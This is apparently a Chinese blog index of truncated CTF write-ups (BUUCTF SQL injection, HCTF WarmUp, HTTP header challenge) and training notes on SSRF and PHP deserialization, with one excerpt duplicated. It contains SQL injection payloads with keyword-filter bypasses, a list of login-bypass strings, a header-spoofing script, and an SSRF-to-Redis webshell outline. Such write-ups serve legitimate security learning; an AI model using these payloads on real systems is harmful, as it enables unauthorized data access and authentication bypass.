【BUUCTF】[极客大挑战-2019]BabySQL
[TOC]
首先是熟悉的黑色窗体:
判读是哪种闭合:
发现单引号闭合报错,双引号闭合正常。
判断哪一种注入:首先尝试一波万能密码:
没有出现报错提示,但是没有结果,可能是or被过滤了,再次验证:
确定or被过滤。尝试双写绕过:
发现成功通过,验证select union from 是否存在过滤:
发现select union from 均被过滤
总结:过滤的关键词有or select union from
查询数据库:‘information_schema,mysql,performance_schema,test,ctf,geek’
http://eff6acb0-bc04-4385-9938-01571e136359.node4.buuoj.cn:81/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata% ...
【BUUCTF】[极客大挑战-2019]Havefun
这道题是一个很可爱的小猫咪,
直接看源代码,发现:
<!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; //当cat=dog时会传出来flag形式的字符串 } -->
所以直接传递cat=dog这个参数即可。
【BUUCTF】[极客大挑战-2019]LoveSQL
[TOC]
今天下午做的是[极客大挑战 2019]LoveSQL,这道题让我详细了解了SQL注入的步骤一及解决办法。
首先打开界面是:
然后对其进行数字还是字符型注入进行判断,得到
单引号引起报错
双引号不报错
接下来就是按sql注入的流程操作: 1.测试有多少字段 测试每个字段对应的内容 2.爆出数据库名 3.爆出数据库里的表 4.爆出表的列名 5.爆出所有数据
测试有多少个字段:使用order by检测:
测试到3没有引起报错,说明字段数目为三
测试当前数据库名:使用联合查询,结合得到的3个字段数,构造payload:
?username=1' union select null,null,(select database())%23&password=2
所以数据库名为 geek。
cha’biao’mi’g查表名:构造payload:
?username=1' union select null,null,(select group_concat(table_name) from information_schema.tabl ...
【BUUCTF】[极客大挑战-2019]EasySQL
通过查看源码分析check.php,是一道SQL注入。
关于这道题,毋庸置疑,最简便的方法就是使用万能密码,
在网上搜集的PHP万能密码:
"or "a"="a"or 1=1--"or"=""or"="a'='a"or1=1--"or=or"''or'='or'') or ('a'='a'.).or.('.a.'='.a'or 1=1'or 1=1--'or 1=1/*'or"="a'='a'or' '1'='1''or''=''or''=''or''= ...
【BUUCTF】[HCTF-2018]WarmUp
这道题的原型应该是来自于phpMyadmin的一个文件包含漏洞(CVE-2018-12613)
首先打开题目是一张滑稽图片,检察一下,发现特殊注释source.php:
查看一下,发现一堆源码:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; ...
【AH_training】SSRF
[TOC]
SSRF简介什么是SSRF?具体怎么攻击,还是要依靠其他的工具,SSRF只是搭建了一个桥梁。
为什么有SSRF?如果翻译的是一个内网地址就可能出现问题
SSRF有什么用?
最重要的是利用gopher协议攻击其他应用,比如数据库,redis,
SSRF检测怎么发现SSRF漏洞?存在可以访问的外链就很有可能存在SSRF
SSRF有关的函数:
SSRF常见利用-file://协议
SSRF常见利用-dict://协议
SSRF常见利用-Gopher://协议利用gopher协议可以构造一个TCP数据,与MYSQL进行连接使用的就是TCP数据,gopher协议无疑是很强大的。可以去请求很多的内容,构造特定的数据包,去攻击一些内容。
SSRF+REDIS写入WEBSHELLRedis任意文件写入漏洞是非常常见的,很多时候内网中存在root权限运行的Redis服务,可以利用SSRF来穿透内网,再利用Gopher协议攻击内网中的Redis.
首先刺探端口发现6379端口存在Redis服务,6379就是Rediis的一个默认端口。
正常的写文件:
找到之后截取流量,构造g ...
【AH_training】PHP反序列化
[TOC]
反序列化基础概念与原理类和对象类通过实例化得到一个具体的对象。
序列化与反序列化序列化就是将一个对象(内存中的字节码)都变成一个字符串序列(可被存储)。
反序列化就是将字符串序列提取相应的内容变成对象
PHP中的序列化与反序列化PHP中常见序列化与反序列化点-serialize()介绍construct()在PHP中是这个类的构造方法,以 __开头的函数或变量都是一些特殊的方法或变量。
<?phphighlight_file(filename: __FILE__);class A{ public $a = ""; //定义a属性 public function __costruct($a) { $this->a = $a; //将a赋值给$a }}$serialized = serialize(new A( a: "DASCTF"));var_dump($serialized);//PHP中var_dump的意思是判断一个变量的类型与长度,并输出变量的数值。/*test ...
【BUUCTF】[极客大挑战 2019]Http
[TOC]
[极客大挑战 2019]Http首先在源码中发现Secrect.php
进入页面后发现不同的提示就想到下列操作:
最重要的是X-Forwarded-For: 127.0.0.1修改为本地访问
# -*- coding: UTF-8 -*-import requestsurl="http://node3.buuoj.cn:29354/Secret.php"headers={ "Referer": "https://www.Sycsecret.com", "Origin":"https://www.Sycsecret.com", "User-Agent": "Syclover", "X-Forwarded-For": "127.0.0.1"}r=requests.get(url=url,headers=headers)print(r.text)
返回信息变成了需要从本地访问,使 ...
【BUUCTF】BUUCTF_Blacklist
[TOC]
BUUCTF_Blacklist一、进行注入检测,分析是什么类型
二、普通手工注入,查看过滤规则
order by来查询列数
联合查询,查他的表名列名
发现过滤了一下关键词
set prepare不可用,说明可能存在多行注入,
正则/ i说明不区分大小写
三、发现多行注入以下结果说明存在多行注入,方框中的为show databases;注入结果
前面的为inject=1’;的注入结果
方框中的为show databases;注入结果
其中:
information_schema,mysql和performance_schema是系统数据库,
所以就从ctftraining,supersqli和test中找
payload:?inject=1’;Handler FlagHere open;handler%20 FlagHere read first;handler FlagHere close; %23
总结:先进行一个注入检测,找到它是什么类型
先来正常的手工注入,发现过滤
另辟蹊径,观察过滤类型
set prepare 被过滤说明
se ...
【BUUCTF】[极客大挑战 2019]Http
[TOC]
[极客大挑战 2019]Http首先在源码中发现Secrect.php
进入页面后发现不同的提示就想到下列操作:
最重要的是X-Forwarded-For: 127.0.0.1修改为本地访问
# -*- coding: UTF-8 -*-import requestsurl="http://node3.buuoj.cn:29354/Secret.php"headers={ "Referer": "https://www.Sycsecret.com", "Origin":"https://www.Sycsecret.com", "User-Agent": "Syclover", "X-Forwarded-For": "127.0.0.1"}r=requests.get(url=url,headers=headers)print(r.text)
返回信息变成了需要从本地访问,使 ...